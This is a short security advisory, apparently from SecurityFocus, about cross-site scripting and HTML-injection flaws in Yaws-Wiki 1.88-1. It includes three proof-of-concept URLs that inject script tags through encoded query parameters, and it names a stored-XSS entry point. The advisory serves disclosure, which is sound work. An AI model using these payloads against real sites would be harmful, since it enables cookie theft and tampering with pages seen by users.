source: http://www.securityfocus.com/bid/47158/info

Yaws-Wiki is prone to multiple cross-site scripting vulnerabilities and an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Yaws-Wiki 1.88-1 is vulnerable; other versions may also be affected. 

Reflective XSS:
http://www.example.com/editTag.yaws?node=ALockedPage&tag=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E
http://www.example.com/showOldPage.yaws?node=home&index=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E
http://www.example.com/allRefsToMe.yaws?node=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E
 
Stored XSS:
http://www.example.com/editPage.yaws?node=home